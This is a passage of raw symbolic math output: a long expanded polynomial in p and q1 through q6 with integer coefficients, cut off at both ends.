2520*p**5*q3**3*q4*q5 + 120*p**5*q3**2*q4**4*q5 + 120*p**5*q3**2*q4**3*q5**2 + 120*p**5*q3**2*q4**3*q5*q6 - 840*p**5*q3**2*q4**3*q5 + 120*p**5*q3**2*q4**2*q5**3 + 120*p**5*q3**2*q4**2*q5**2*q6 - 840*p**5*q3**2*q4**2*q5**2 + 120*p**5*q3**2*q4**2*q5*q6**2 - 840*p**5*q3**2*q4**2*q5*q6 + 2520*p**5*q3**2*q4**2*q5 + 120*p**5*q3**2*q4*q5**4 + 120*p**5*q3**2*q4*q5**3*q6 - 840*p**5*q3**2*q4*q5**3 + 120*p**5*q3**2*q4*q5**2*q6**2 - 840*p**5*q3**2*q4*q5**2*q6 + 2520*p**5*q3**2*q4*q5**2 + 120*p**5*q3**2*q4*q5*q6**3 - 840*p**5*q3**2*q4*q5*q6**2 + 2520*p**5*q3**2*q4*q5*q6 - 4200*p**5*q3**2*q4*q5 + 120*p**5*q3*q4**5*q5 + 120*p**5*q3*q4**4*q5**2 + 120*p**5*q3*q4**4*q5*q6 - 840*p**5*q3*q4**4*q5 + 120*p**5*q3*q4**3*q5**3 + 120*p**5*q3*q4**3*q5**2*q6 - 840*p**5*q3*q4**3*q5**2 + 120*p**5*q3*q4**3*q5*q6**2 - 840*p**5*q3*q4**3*q5*q6 + 2520*p**5*q3*q4**3*q5 + 120*p**5*q3*q4**2*q5**4 + 120*p**5*q3*q4**2*q5**3*q6 - 840*p**5*q3*q4**2*q5**3 + 120*p**5*q3*q4**2*q5**2*q6**2 - 840*p**5*q3*q4**2*q5**2*q6 + 2520*p**5*q3*q4**2*q5**2 + 120*p**5*q3*q4**2*q5*q6**3 - 840*p**5*q3*q4**2*q5*q6**2 + 2520*p**5*q3*q4**2*q5*q6 - 4200*p**5*q3*q4**2*q5 + 120*p**5*q3*q4*q5**5 + 120*p**5*q3*q4*q5**4*q6 - 840*p**5*q3*q4*q5**4 + 120*p**5*q3*q4*q5**3*q6**2 - 840*p**5*q3*q4*q5**3*q6 + 2520*p**5*q3*q4*q5**3 + 120*p**5*q3*q4*q5**2*q6**3 - 840*p**5*q3*q4*q5**2*q6**2 + 2520*p**5*q3*q4*q5**2*q6 - 4200*p**5*q3*q4*q5**2 + 120*p**5*q3*q4*q5*q6**4 - 840*p**5*q3*q4*q5*q6**3 + 2520*p**5*q3*q4*q5*q6**2 - 4200*p**5*q3*q4*q5*q6 + 4200*p**5*q3*q4*q5 - 210*p**5*q4**5*q5 - 210*p**5*q4**4*q5**2 - 210*p**5*q4**4*q5*q6 + 1260*p**5*q4**4*q5 - 210*p**5*q4**3*q5**3 - 210*p**5*q4**3*q5**2*q6 + 1260*p**5*q4**3*q5**2 - 210*p**5*q4**3*q5*q6**2 + 1260*p**5*q4**3*q5*q6 - 3150*p**5*q4**3*q5 - 210*p**5*q4**2*q5**4 - 210*p**5*q4**2*q5**3*q6 + 1260*p**5*q4**2*q5**3 - 210*p**5*q4**2*q5**2*q6**2 + 1260*p**5*q4**2*q5**2*q6 - 3150*p**5*q4**2*q5**2 - 210*p**5*q4**2*q5*q6**3 + 1260*p**5*q4**2*q5*q6**2 - 3150*p**5*q4**2*q5*q6 + 4200*p**5*q4**2*q5 - 210*p**5*q4*q5**5 - 210*p**5*q4*q5**4*q6 + 1260*p**5*q4*q5**4 - 210*p**5*q4*q5**3*q6**2 + 1260*p**5*q4*q5**3*q6 - 3150*p**5*q4*q5**3 - 210*p**5*q4*q5**2*q6**3 + 1260*p**5*q4*q5**2*q6**2 - 3150*p**5*q4*q5**2*q6 + 4200*p**5*q4*q5**2 - 210*p**5*q4*q5*q6**4 + 1260*p**5*q4*q5*q6**3 - 3150*p**5*q4*q5*q6**2 + 4200*p**5*q4*q5*q6 - 3150*p**5*q4*q5 + 252*p**5*q5**5 + 252*p**5*q5**4*q6 - 1260*p**5*q5**4 + 252*p**5*q5**3*q6**2 - 1260*p**5*q5**3*q6 + 2520*p**5*q5**3 + 252*p**5*q5**2*q6**3 - 1260*p**5*q5**2*q6**2 + 2520*p**5*q5**2*q6 - 2520*p**5*q5**2 + 252*p**5*q5*q6**4 - 1260*p**5*q5*q6**3 + 2520*p**5*q5*q6**2 - 2520*p**5*q5*q6 + 1260*p**5*q5 - 210*p**5*q6**4 + 840*p**5*q6**3 - 1260*p**5*q6**2 + 840*p**5*q6 - 210*p**5 - 50*p**4*q1**5*q2*q3*q4*q5 - 50*p**4*q1**4*q2**2*q3*q4*q5 - 50*p**4*q1**4*q2*q3**2*q4*q5 - 50*p**4*q1**4*q2*q3*q4**2*q5 - 50*p**4*q1**4*q2*q3*q4*q5**2 - 50*p**4*q1**4*q2*q3*q4*q5*q6 + 450*p**4*q1**4*q2*q3*q4*q5 - 50*p**4*q1**3*q2**3*q3*q4*q5 - 50*p**4*q1**3*q2**2*q3**2*q4*q5 - 50*p**4*q1**3*q2**2*q3*q4**2*q5 - 50*p**4*q1**3*q2**2*q3*q4*q5**2 - 50*p**4*q1**3*q2**2*q3*q4*q5*q6 + 450*p**4*q1**3*q2**2*q3*q4*q5 - 50*p**4*q1**3*q2*q3**3*q4*q5 - 50*p**4*q1**3*q2*q3**2*q4**2*q5 - 50*p**4*q1**3*q2*q3**2*q4*q5**2 - 50*p**4*q1**3*q2*q3**2*q4*q5*q6 + 450*p**4*q1**3*q2*q3**2*q4*q5 - 50*p**4*q1**3*q2*q3*q4**3*q5 - 50*p**4*q1**3*q2*q3*q4**2*q5**2 - 50*p**4*q1**3*q2*q3*q4**2*q5*q6 + 450*p**4*q1**3*q2*q3*q4**2*q5 - 50*p**4*q1**3*q2*q3*q4*q5**3 - 50*p**4*q1**3*q2*q3*q4*q5**2*q6 + 450*p**4*q1**3*q2*q3*q4*q5**2 - 50*p**4*q1**3*q2*q3*q4*q5*q6**2 + 450*p**4*q1**3*q2*q3*q4*q5*q6 - 1800*p**4*q1**3*q2*q3*q4*q5 - 50*p**4*q1**2*q2**4*q3*q4*q5 - 50*p**4*q1**2*q2**3*q3**2*q4*q5 - 50*p**4*q1**2*q2**3*q3*q4**2*q5 - 50*p**4*q1**2*q2**3*q3*q4*q5**2 - 50*p**4*q1**2*q2**3*q3*q4*q5*q6 + 450*p**4*q1**2*q2**3*q3*q4*q5 - 50*p**4*q1**2*q2**2*q3**3*q4*q5 - 50*p**4*q1**2*q2**2*q3**2*q4**2*q5 - 50*p**4*q1**2*q2**2*q3**2*q4*q5**2 - 50*p**4*q1**2*q2**2*q3**2*q4*q5*q6 + 450*p**4*q1**2*q2**2*q3**2*q4*q5 - 50*p**4*q1**2*q2**2*q3*q4**3*q5 - 50*p**4*q1**2*q2**2*q3*q4**2*q5**2 - 50*p**4*q1**2*q2**2*q3*q4**2*q5*q6 + 450*p**4*q1**2*q2**2*q3*q4**2*q5 - 50*p**4*q1**2*q2**2*q3*q4*q5**3 - 50*p**4*q1**2*q2**2*q3*q4*q5**2*q6 + 450*p**4*q1**2*q2**2*q3*q4*q5**2 - 50*p**4*q1**2*q2**2*q3*q4*q5*q6**2 + 450*p**4*q1**2*q2**2*q3*q4*q5*q6 - 1800*p**4*q1**2*q2**2*q3*q4*q5 - 50*p**4*q1**2*q2*q3**4*q4*q5 - 50*p**4*q1**2*q2*q3**3*q4**2*q5 - 50*p**4*q1**2*q2*q3**3*q4*q5**2 - 50*p**4*q1**2*q2*q3**3*q4*q5*q6 + 450*p**4*q1**2*q2*q3**3*q4*q5 - 50*p**4*q1**2*q2*q3**2*q4**3*q5 - 50*p**4*q1**2*q2*q3**2*q4**2*q5**2 - 50*p**4*q1**2*q2*q3**2*q4**2*q5*q6 + 450*p**4*q1**2*q2*q3**2*q4**2*q5 - 50*p**4*q1**2*q2*q3**2*q4*q5**3 - 50*p**4*q1**2*q2*q3**2*q4*q5**2*q6 + 450*p**4*q1**2*q2*q3**2*q4*q5**2 - 50*p**4*q1**2*q2*q3**2*q4*q5*q6**2 + 450*p**4*q1**2*q2*q3**2*q4*q5*q6 - 1800*p**4*q1**2*q2*q3**2*q4*q5 - 50*p**4*q1**2*q2*q3*q4**4*q5 - 50*p**4*q1**2*q2*q3*q4**3*q5**2 - 50*p**4*q1**2*q2*q3*q4**3*q5*q6 + 450*p**4*q1**2*q2*q3*q4**3*q5 - 50*p**4*q1**2*q2*q3*q4**2*q5**3 - 50*p**4*q1**2*q2*q3*q4**2*q5**2*q6 + 450*p**4*q1**2*q2*q3*q4**2*q5**2 - 50*p**4*q1**2*q2*q3*q4**2*q5*q6**2 + 450*p**4*q1**2*q2*q3*q4**2*q5*q6 - 1800*p**4*q1**2*q2*q3*q4**2*q5 - 50*p**4*q1**2*q2*q3*q4*q5**4 - 50*p**4*q1**2*q2*q3*q4*q5**3*q6 + 450*p**4*q1**2*q2*q3*q4*q5**3 - 50*p**4*q1**2*q2*q3*q4*q5**2*q6**2 + 450*p**4*q1**2*q2*q3*q4*q5**2*q6 - 1800*p**4*q1**2*q2*q3*q4*q5**2 - 50*p**4*q1**2*q2*q3*q4*q5*q6**3 + 450*p**4*q1**2*q2*q3*q4*q5*q6**2 - 1800*p**4*q1**2*q2*q3*q4*q5*q6 + 4200*p**4*q1**2*q2*q3*q4*q5 - 50*p**4*q1*q2**5*q3*q4*q5 - 50*p**4*q1*q2**4*q3**2*q4*q5 - 50*p**4*q1*q2**4*q3*q4**2*q5 - 50*p**4*q1*q2**4*q3*q4*q5**2 - 50*p**4*q1*q2**4*q3*q4*q5*q6 + 450*p**4*q1*q2**4*q3*q4*q5 - 50*p**4*q1*q2**3*q3**3*q4*q5 - 50*p**4*q1*q2**3*q3**2*q4**2*q5 - 50*p**4*q1*q2**3*q3**2*q4*q5**2 - 50*p**4*q1*q2**3*q3**2*q4*q5*q6 + 450*p**4*q1*q2**3*q3**2*q4*q5 - 50*p**4*q1*q2**3*q3*q4**3*q5 - 50*p**4*q1*q2**3*q3*q4**2*q5**2 - 50*p**4*q1*q2**3*q3*q4**2*q5*q6 + 450*p**4*q1*q2**3*q3*q4**2*q5 - 50*p**4*q1*q2**3*q3*q4*q5**3 - 50*p**4*q1*q2**3*q3*q4*q5**2*q6 + 450*p**4*q1*q2**3*q3*q4*q5**2 - 50*p**4*q1*q2**3*q3*q4*q5*q6**2 + 450*p**4*q1*q2**3*q3*q4*q5*q6 - 1800*p**4*q1*q2**3*q3*q4*q5 - 50*p**4*q1*q2**2*q3**4*q4*q5 - 50*p**4*q1*q2**2*q3**3*q4**2*q5 - 50*p**4*q1*q2**2*q3**3*q4*q5**2 - 50*p**4*q1*q2**2*q3**3*q4*q5*q6 + 450*p**4*q1*q2**2*q3**3*q4*q5 - 50*p**4*q1*q2**2*q3**2*q4**3*q5 - 50*p**4*q1*q2**2*q3**2*q4**2*q5**2 - 50*p**4*q1*q2**2*q3**2*q4**2*q5*q6 + 450*p**4*q1*q2**2*q3**2*q4**2*q5 - 50*p**4*q1*q2**2*q3**2*q4*q5**3 - 50*p**4*q1*q2**2*q3**2*q4*q5**2*q6 + 450*p**4*q1*q2**2*q3**2*q4*q5**2 - 50*p**4*q1*q2**2*q3**2*q4*q5*q6**2 + 450*p**4*q1*q2**2*q3**2*q4*q5*q6 - 1800*p**4*q1*q2**2*q3**2*q4*q5 - 50*p**4*q1*q2**2*q3*q4**4*q5 - 50*p**4*q1*q2**2*q3*q4**3*q5**2 - 50*p**4*q1*q2**2*q3*q4**3*q5*q6 + 450*p**4*q1*q2**2*q3*q4**3*q5 - 50*p**4*q1*q2**2*q3*q4**2*q5**3 - 50*p**4*q1*q2**2*q3*q4**2*q5**2*q6 + 450*p**4*q1*q2**2*q3*q4**2*q5**2 - 50*p**4*q1*q2**2*q3*q4**2*q5*q6**2 + 450*p**4*q1*q2**2*q3*q4**2*q5*q6 - 1800*p**4*q1*q2**2*q3*q4**2*q5 - 50*p**4*q1*q2**2*q3*q4*q5**4 - 50*p**4*q1*q2**2*q3*q4*q5**3*q6 + 450*p**4*q1*q2**2*q3*q4*q5**3 - 50*p**4*q1*q2**2*q3*q4*q5**2*q6**2 + 450*p**4*q1*q2**2*q3*q4*q5**2*q6 - 1800*p**4*q1*q2**2*q3*q4*q5**2 - 50*p**4*q1*q2**2*q3*q4*q5*q6**3 + 450*p**4*q1*q2**2*q3*q4*q5*q6**2 - 1800*p**4*q1*q2**2*q3*q4*q5*q6 + 4200*p**4*q1*q2**2*q3*q4*q5 - 50*p**4*q1*q2*q3**5*q4*q5 - 50*p**4*q1*q2*q3**4*q4**2*q5 - 50*p**4*q1*q2*q3**4*q4*q5**2 - 50*p**4*q1*q2*q3**4*q4*q5*q6 + 450*p**4*q1*q2*q3**4*q4*q5 - 50*p**4*q1*q2*q3**3*q4**3*q5 - 50*p**4*q1*q2*q3**3*q4**2*q5**2 - 50*p**4*q1*q2*q3**3*q4**2*q5*q6 + 450*p**4*q1*q2*q3**3*q4**2*q5 - 50*p**4*q1*q2*q3**3*q4*q5**3 - 50*p**4*q1*q2*q3**3*q4*q5**2*q6 + 450*p**4*q1*q2*q3**3*q4*q5**2 - 50*p**4*q1*q2*q3**3*q4*q5*q6**2 + 450*p**4*q1*q2*q3**3*q4*q5*q6 - 1800*p**4*q1*q2*q3**3*q4*q5 - 50*p**4*q1*q2*q3**2*q4**4*q5 - 50*p**4*q1*q2*q3**2*q4**3*q5**2 - 50*p**4*q1*q2*q3**2*q4**3*q5*q6 + 450*p**4*q1*q2*q3**2*q4**3*q5 - 50*p**4*q1*q2*q3**2*q4**2*q5**3 - 50*p**4*q1*q2*q3**2*q4**2*q5**2*q6 + 450*p**4*q1*q2*q3**2*q4**2*q5**2 - 50*p**4*q1*q2*q3**2*q4**2*q5*q6**2 + 450*p**4*q1*q2*q3**2*q4**2*q5*q6 - 1800*p**4*q1*q2*q3**2*q4**2*q5 - 50*p**4*q1*q2*q3**2*q4*q5**4 - 50*p**4*q1*q2*q3**2*q4*q5**3*q6 + 450*p**4*q1*q2*q3**2*q4*q5**3 - 50*p**4*q1*q2*q3**2*q4*q5**2*q6**2 + 450*p**4*q1*q2*q3**2*q4*q5**2*q6 - 1800*p**4*q1*q2*q3**2*q4*q5**2 - 50*p**4*q1*q2*q3**2*q4*q5*q6**3 + 450*p**4*q1*q2*q3**2*q4*q5*q6**2 - 1800*p**4*q1*q2*q3**2*q4*q5*q6 + 4200*p**4*q1*q2*q3**2*q4*q5 - 50*p**4*q1*q2*q3*q4**5*q5 - 50*p**4*q1*q2*q3*q4**4*q5**2 - 50*p**4*q1*q2*q3*q4**4*q5*q6 + 450*p**4*q1*q2*q3*q4**4*q5 - 50*p**4*q1*q2*q3*q4**3*q5**3 - 50*p**4*q1*q2*q3*q4**3*q5**2*q6 + 450*p**4*q1*q2*q3*q4**3*q5**2 - 50*p**4*q1*q2*q3*q4**3*q5*q6**2 + 450*p**4*q1*q2*q3*q4**3*q5*q6 - 1800*p**4*q1*q2*q3*q4**3*q5 - 50*p**4*q1*q2*q3*q4**2*q5**4 - 50*p**4*q1*q2*q3*q4**2*q5**3*q6 + 450*p**4*q1*q2*q3*q4**2*q5**3 - 50*p**4*q1*q2*q3*q4**2*q5**2*q6**2 + 450*p**4*q1*q2*q3*q4**2*q5**2*q6 - 1800*p**4*q1*q2*q3*q4**2*q5**2 - 50*p**4*q1*q2*q3*q4**2*q5*q6**3 + 450*p**4*q1*q2*q3*q4**2*q5*q6**2 - 1800*p**4*q1*q2*q3*q4**2*q5*q6 + 4200*p**4*q1*q2*q3*q4**2*q5 - 50*p**4*q1*q2*q3*q4*q5**5 - 50*p**4*q1*q2*q3*q4*q5**4*q6 + 450*p**4*q1*q2*q3*q4*q5**4 - 50*p**4*q1*q2*q3*q4*q5**3*q6**2 + 450*p**4*q1*q2*q3*q4*q5**3*q6 - 1800*p**4*q1*q2*q3*q4*q5**3 - 50*p**4*q1*q2*q3*q4*q5**2*q6**3 + 450*p**4*q1*q2*q3*q4*q5**2*q6**2 - 1800*p**4*q1*q2*q3*q4*q5**2*q6 + 4200*p**4*q1*q2*q3*q4*q5**2 - 50*p**4*q1*q2*q3*q4*q5*q6**4 + 450*p**4*q1*q2*q3*q4*q5*q6**3 - 1800*p**4*q1*q2*q3*q4*q5*q6**2 + 4200*p**4*q1*q2*q3*q4*q5*q6 - 6300*p**4*q1*q2*q3*q4*q5 + 180*p**4*q2**5*q3*q4*q5 + 180*p**4*q2**4*q3**2*q4*q5 + 180*p**4*q2**4*q3*q4**2*q5 + 180*p**4*q2**4*q3*q4*q5**2 + 180*p**4*q2**4*q3*q4*q5*q6 - 1440*p**4*q2**4*q3*q4*q5 + 180*p**4*q2**3*q3**3*q4*q5 + 180*p**4*q2**3*q3**2*q4**2*q5 + 180*p**4*q2**3*q3**2*q4*q5**2 + 180*p**4*q2**3*q3**2*q4*q5*q6 - 1440*p**4*q2**3*q3**2*q4*q5 + 180*p**4*q2**3*q3*q4**3*q5 + 180*p**4*q2**3*q3*q4**2*q5**2 + 180*p**4*q2**3*q3*q4**2*q5*q6 - 1440*p**4*q2**3*q3*q4**2*q5 + 180*p**4*q2**3*q3*q4*q5**3 + 180*p**4*q2**3*q3*q4*q5**2*q6 - 1440*p**4*q2**3*q3*q4*q5**2 + 180*p**4*q2**3*q3*q4*q5*q6**2 - 1440*p**4*q2**3*q3*q4*q5*q6 + 5040*p**4*q2**3*q3*q4*q5 + 180*p**4*q2**2*q3**4*q4*q5 + 180*p**4*q2**2*q3**3*q4**2*q5 + 180*p**4*q2**2*q3**3*q4*q5**2 + 180*p**4*q2**2*q3**3*q4*q5*q6 - 1440*p**4*q2**2*q3**3*q4*q5 + 180*p**4*q2**2*q3**2*q4**3*q5 + 180*p**4*q2**2*q3**2*q4**2*q5**2 + 180*p**4*q2**2*q3**2*q4**2*q5*q6 - 1440*p**4*q2**2*q3**2*q4**2*q5 + 180*p**4*q2**2*q3**2*q4*q5**3 + 180*p**4*q2**2*q3**2*q4*q5**2*q6 - 1440*p**4*q2**2*q3**2*q4*q5**2 + 180*p**4*q2**2*q3**2*q4*q5*q6**2 - 1440*p**4*q2**2*q3**2*q4*q5*q6 + 5040*p**4*q2**2*q3**2*q4*q5 + 180*p**4*q2**2*q3*q4**4*q5 + 180*p**4*q2**2*q3*q4**3*q5**2 + 180*p**4*q2**2*q3*q4**3*q5*q6 - 1440*p**4*q2**2*q3*q4**3*q5 + 180*p**4*q2**2*q3*q4**2*q5**3 + 180*p**4*q2**2*q3*q4**2*q5**2*q6 - 1440*p**4*q2**2*q3*q4**2*q5**2 + 180*p**4*q2**2*q3*q4**2*q5*q6**2 - 1440*p**4*q2**2*q3*q4**2*q5*q6 + 5040*p**4*q2**2*q3*q4**2*q5 + 180*p**4*q2**2*q3*q4*q5**4 + 180*p**4*q2**2*q3*q4*q5**3*q6 - 1440*p**4*q2**2*q3*q4*q5**3 + 180*p**4*q2**2*q3*q4*q5**2*q6**2 - 1440*p**4*q2**2*q3*q4*q5**2*q6 + 5040*p**4*q2**2*q3*q4*q5**2 + 180*p**4*q2**2*q3*q4*q5*q6**3 - 1440*p**4*q2**2*q3*q4*q5*q6**2 + 5040*p**4*q2**2*q3*q4*q5*q6 - 10080*p**4*q2**2*q3*q4*q5 + 180*p**4*q2*q3**5*q4*q5 + 180*p**4*q2*q3**4*q4**2*q5 + 180*p**4*q2*q3**4*q4*q5**2 + 180*p**4*q2*q3**4*q4*q5*q6 - 1440*p**4*q2*q3**4*q4*q5 + 180*p**4*q2*q3**3*q4**3*q5 + 180*p**4*q2*q3**3*q4**2*q5**2 + 180*p**4*q2*q3**3*q4**2*q5*q6 - 1440*p**4*q2*q3**3*q4**2*q5 + 180*p**4*q2*q3**3*q4*q5**3 + 180*p**4*q2*q3**3*q4*q5**2*q6 - 1440*p**4*q2*q3**3*q4*q5**2 + 180*p**4*q2*q3**3*q4*q5*q6**2 - 1440*p**4*q2*q3**3*q4*q5*q6 + 5040*p**4*q2*q3**3*q4*q5 + 180*p**4*q2*q3**2*q4**4*q5 + 180*p**4*q2*q3**2*q4**3*q5**2 + 180*p**4*q2*q3**2*q4**3*q5*q6 - 1440*p**4*q2*q3**2*q4**3*q5 + 180*p**4*q2*q3**2*q4**2*q5**3 + 180*p**4*q2*q3**2*q4**2*q5**2*q6 - 1440*p**4*q2*q3**2*q4**2*q5**2 + 180*p**4*q2*q3**2*q4**2*q5*q6**2 - 1440*p**4*q2*q3**2*q4**2*q5*q6 + 5040*p**4*q2*q3**2*q4**2*q5 + 180*p**4*q2*q3**2*q4*q5**4 + 180*p**4*q2*q3**2*q4*q5**3*q6 - 1440*p**4*q2*q3**2*q4*q5**3 + 180*p**4*q2*q3**2*q4*q5**2*q6**2 - 1440*p**4*q2*q3**2*q4*q5**2*q6 + 5040*p**4*q2*q3**2*q4*q5**2 + 180*p**4*q2*q3**2*q4*q5*q6**3 - 1440*p**4*q2*q3**2*q4*q5*q6**2 + 5040*p**4*q2*q3**2*q4*q5*q6 - 10080*p**4*q2*q3**2*q4*q5 + 180*p**4*q2*q3*q4**5*q5 + 180*p**4*q2*q3*q4**4*q5**2 + 180*p**4*q2*q3*q4**4*q5*q6 - 1440*p**4*q2*q3*q4**4*q5 + 180*p**4*q2*q3*q4**3*q5**3 + 180*p**4*q2*q3*q4**3*q5**2*q6 - 1440*p**4*q2*q3*q4**3*q5**2 + 180*p**4*q2*q3*q4**3*q5*q6**2 - 1440*p**4*q2*q3*q4**3*q5*q6 + 5040*p**4*q2*q3*q4**3*q5 + 180*p**4*q2*q3*q4**2*q5**4 + 180*p**4*q2*q3*q4**2*q5**3*q6 - 1440*p**4*q2*q3*q4**2*q5**3 + 180*p**4*q2*q3*q4**2*q5**2*q6**2 - 1440*p**4*q2*q3*q4**2*q5**2*q6 + 5040*p**4*q2*q3*q4**2*q5**2 + 180*p**4*q2*q3*q4**2*q5*q6**3 - 1440*p**4*q2*q3*q4**2*q5*q6**2 + 5040*p**4*q2*q3*q4**2*q5*q6 - 10080*p**4*q2*q3*q4**2*q5 + 180*p**4*q2*q3*q4*q5**5 + 180*p**4*q2*q3*q4*q5**4*q6 - 1440*p**4*q2*q3*q4*q5**4 + 180*p**4*q2*q3*q4*q5**3*q6**2 - 1440*p**4*q2*q3*q4*q5**3*q6 + 5040*p**4*q2*q3*q4*q5**3 + 180*p**4*q2*q3*q4*q5**2*q6**3 - 1440*p**4*q2*q3*q4*q5**2*q6**2 + 5040*p**4*q2*q3*q4*q5**2*q6 - 10080*p**4*q2*q3*q4*q5**2 + 180*p**4*q2*q3*q4*q5*q6**4 - 1440*p**4*q2*q3*q4*q5*q6**3 + 5040*p**4*q2*q3*q4*q5*q6**2 - 10080*p**4*q2*q3*q4*q5*q6 + 12600*p**4*q2*q3*q4*q5 - 360*p**4*q3**5*q4*q5 - 360*p**4*q3**4*q4**2*q5 - 360*p**4*q3**4*q4*q5**2 - 360*p**4*q3**4*q4*q5*q6 + 2520*p**4*q3**4*q4*q5 - 360*p**4*q3**3*q4**3*q5 - 360*p**4*q3**3*q4**2*q5**2 - 360*p**4*q3**3*q4**2*q5*q6 + 2520*p**4*q3**3*q4**2*q5 - 360*p**4*q3**3*q4*q5**3 - 360*p**4*q3**3*q4*q5**2*q6 + 2520*p**4*q3**3*q4*q5**2 - 360*p**4*q3**3*q4*q5*q6**2 + 2520*p**4*q3**3*q4*q5*q6 - 7560*p**4*q3**3*q4*q5 - 360*p**4*q3**2*q4**4*q5 - 360*p**4*q3**2*q4**3*q5**2 - 360*p**4*q3**2*q4**3*q5*q6 + 2520*p**4*q3**2*q4**3*q5 - 360*p**4*q3**2*q4**2*q5**3 - 360*p**4*q3**2*q4**2*q5**2*q6 + 2520*p**4*q3**2*q4**2*q5**2 - 360*p**4*q3**2*q4**2*q5*q6**2 + 2520*p**4*q3**2*q4**2*q5*q6 - 7560*p**4*q3**2*q4**2*q5 - 360*p**4*q3**2*q4*q5**4 - 360*p**4*q3**2*q4*q5**3*q6 + 2520*p**4*q3**2*q4*q5**3 - 360*p**4*q3**2*q4*q5**2*q6**2 + 2520*p**4*q3**2*q4*q5**2*q6 - 7560*p**4*q3**2*q4*q5**2 - 360*p**4*q3**2*q4*q5*q6**3 + 2520*p**4*q3**2*q4*q5*q6**2 - 7560*p**4*q3**2*q4*q5*q6 + 12600*p**4*q3**2*q4*q5 - 360*p**4*q3*q4**5*q5 - 360*p**4*q3*q4**4*q5**2 - 360*p**4*q3*q4**4*q5*q6 + 2520*p**4*q3*q4**4*q5 - 360*p**4*q3*q4**3*q5**3 - 360*p**4*q3*q4**3*q5**2*q6 + 2520*p**4*q3*q4**3*q5**2 - 360*p**4*q3*q4**3*q5*q6**2 + 2520*p**4*q3*q4**3*q5*q6 - 7560*p**4*q3*q4**3*q5 - 360*p**4*q3*q4**2*q5**4 - 360*p**4*q3*q4**2*q5**3*q6 + 2520*p**4*q3*q4**2*q5**3 - 360*p**4*q3*q4**2*q5**2*q6**2 + 2520*p**4*q3*q4**2*q5**2*q6 - 7560*p**4*q3*q4**2*q5**2 - 360*p**4*q3*q4**2*q5*q6**3 + 2520*p**4*q3*q4**2*q5*q6**2 - 7560*p**4*q3*q4**2*q5*q6 + 12600*p**4*q3*q4**2*q5 - 360*p**4*q3*q4*q5**5 - 360*p**4*q3*q4*q5**4*q6 + 2520*p**4*q3*q4*q5**4 - 360*p**4*q3*q4*q5**3*q6**2 + 2520*p**4*q3*q4*q5**3*q6 - 7560*p**4*q3*q4*q5**3 - 360*p**4*q3*q4*q5**2*q6**3 + 2520*p**4*q3*q4*q5**2*q6**2 - 7560*p**4*q3*q4*q5**2*q6 + 12600*p**4*q3*q4*q5**2 - 360*p**4*q3*q4*q5*q6**4 + 2520*p**4*q3*q4*q5*q6**3 - 7560*p**4*q3*q4*q5*q6**2 + 12600*p**4*q3*q4*q5*q6 - 12600*p**4*q3*q4*q5 + 420*p**4*q4**5*q5 + 420*p**4*q4**4*q5**2 + 420*p**4*q4**4*q5*q6 - 2520*p**4*q4**4*q5 + 420*p**4*q4**3*q5**3 + 420*p**4*q4**3*q5**2*q6 - 2520*p**4*q4**3*q5**2 + 420*p**4*q4**3*q5*q6**2 - 2520*p**4*q4**3*q5*q6 + 6300*p**4*q4**3*q5 + 420*p**4*q4**2*q5**4 + 420*p**4*q4**2*q5**3*q6 - 2520*p**4*q4**2*q5**3 + 420*p**4*q4**2*q5**2*q6**2 - 2520*p**4*q4**2*q5**2*q6 + 6300*p**4*q4**2*q5**2 + 420*p**4*q4**2*q5*q6**3 - 2520*p**4*q4**2*q5*q6**2 + 6300*p**4*q4**2*q5*q6 - 8400*p**4*q4**2*q5 + 420*p**4*q4*q5**5 + 420*p**4*q4*q5**4*q6 - 2520*p**4*q4*q5**4 + 420*p**4*q4*q5**3*q6**2 - 2520*p**4*q4*q5**3*q6 + 6300*p**4*q4*q5**3 + 420*p**4*q4*q5**2*q6**3 - 2520*p**4*q4*q5**2*q6**2 + 6300*p**4*q4*q5**2*q6 - 8400*p**4*q4*q5**2 + 420*p**4*q4*q5*q6**4 - 2520*p**4*q4*q5*q6**3 + 6300*p**4*q4*q5*q6**2 - 8400*p**4*q4*q5*q6 + 6300*p**4*q4*q5 - 252*p**4*q5**5 - 252*p**4*q5**4*q6 + 1260*p**4*q5**4 - 252*p**4*q5**3*q6**2 + 1260*p**4*q5**3*q6 - 2520*p**4*q5**3 - 252*p**4*q5**2*q6**3 + 1260*p**4*q5**2*q6**2 - 2520*p**4*q5**2*q6 + 2520*p**4*q5**2 - 252*p**4*q5*q6**4 + 1260*p**4*q5*q6**3 - 2520*p**4*q5*q6**2 + 2520*p**4*q5*q6 - 1260*p**4*q5 + 100*p**3*q1**5*q2*q3*q4*q5 + 100*p**3*q1**4*q2**2*q3*q4*q5 + 100*p**3*q1**4*q2*q3**2*q4*q5 + 100*p**3*q1**4*q2*q3*q4**2*q5 + 100*p**3*q1**4*q2*q3*q4*q5**2 + 100*p**3*q1**4*q2*q3*q4*q5*q6 - 900*p**3*q1**4*q2*q3*q4*q5 + 100*p**3*q1**3*q2**3*q3*q4*q5 + 100*p**3*q1**3*q2**2*q3**2*q4*q5 + 100*p**3*q1**3*q2**2*q3*q4**2*q5 + 100*p**3*q1**3*q2**2*q3*q4*q5**2 + 100*p**3*q1**3*q2**2*q3*q4*q5*q6 - 900*p**3*q1**3*q2**2*q3*q4*q5 + 100*p**3*q1**3*q2*q3**3*q4*q5 + 100*p**3*q1**3*q2*q3**2*q4**2*q5 + 100*p**3*q1**3*q2*q3**2*q4*q5**2 + 100*p**3*q1**3*q2*q3**2*q4*q5*q6 - 900*p**3*q1**3*q2*q3**2*q4*q5 + 100*p**3*q1**3*q2*q3*q4**3*q5 + 100*p**3*q1**3*q2*q3*q4**2*q5**2 + 100*p**3*q1**3*q2*q3*q4**2*q5*q6 - 900*p**3*q1**3*q2*q3*q4**2*q5 + 100*p**3*q1**3*q2*q3*q4*q5**3 + 100*p**3*q1**3*q2*q3*q4*q5**2*q6 - 900*p**3*q1**3*q2*q3*q4*q5**2 + 100*p**3*q1**3*q2*q3*q4*q5*q6**2 - 900*p**3*q1**3*q2*q3*q4*q5*q6 + 3600*p**3*q1**3*q2*q3*q4*q5 + 100*p**3*q1**2*q2**4*q3*q4*q5 + 100*p**3*q1**2*q2**3*q3**2*q4*q5 + 100*p**3*q1**2*q2**3*q3*q4**2*q5 + 100*p**3*q1**2*q2**3*q3*q4*q5**2 + 100*p**3*q1**2*q2**3*q3*q4*q5*q6 - 900*p**3*q1**2*q2**3*q3*q4*q5 + 100*p**3*q1**2*q2**2*q3**3*q4*q5 + 100*p**3*q1**2*q2**2*q3**2*q4**2*q5 + 100*p**3*q1**2*q2**2*q3**2*q4*q5**2 + 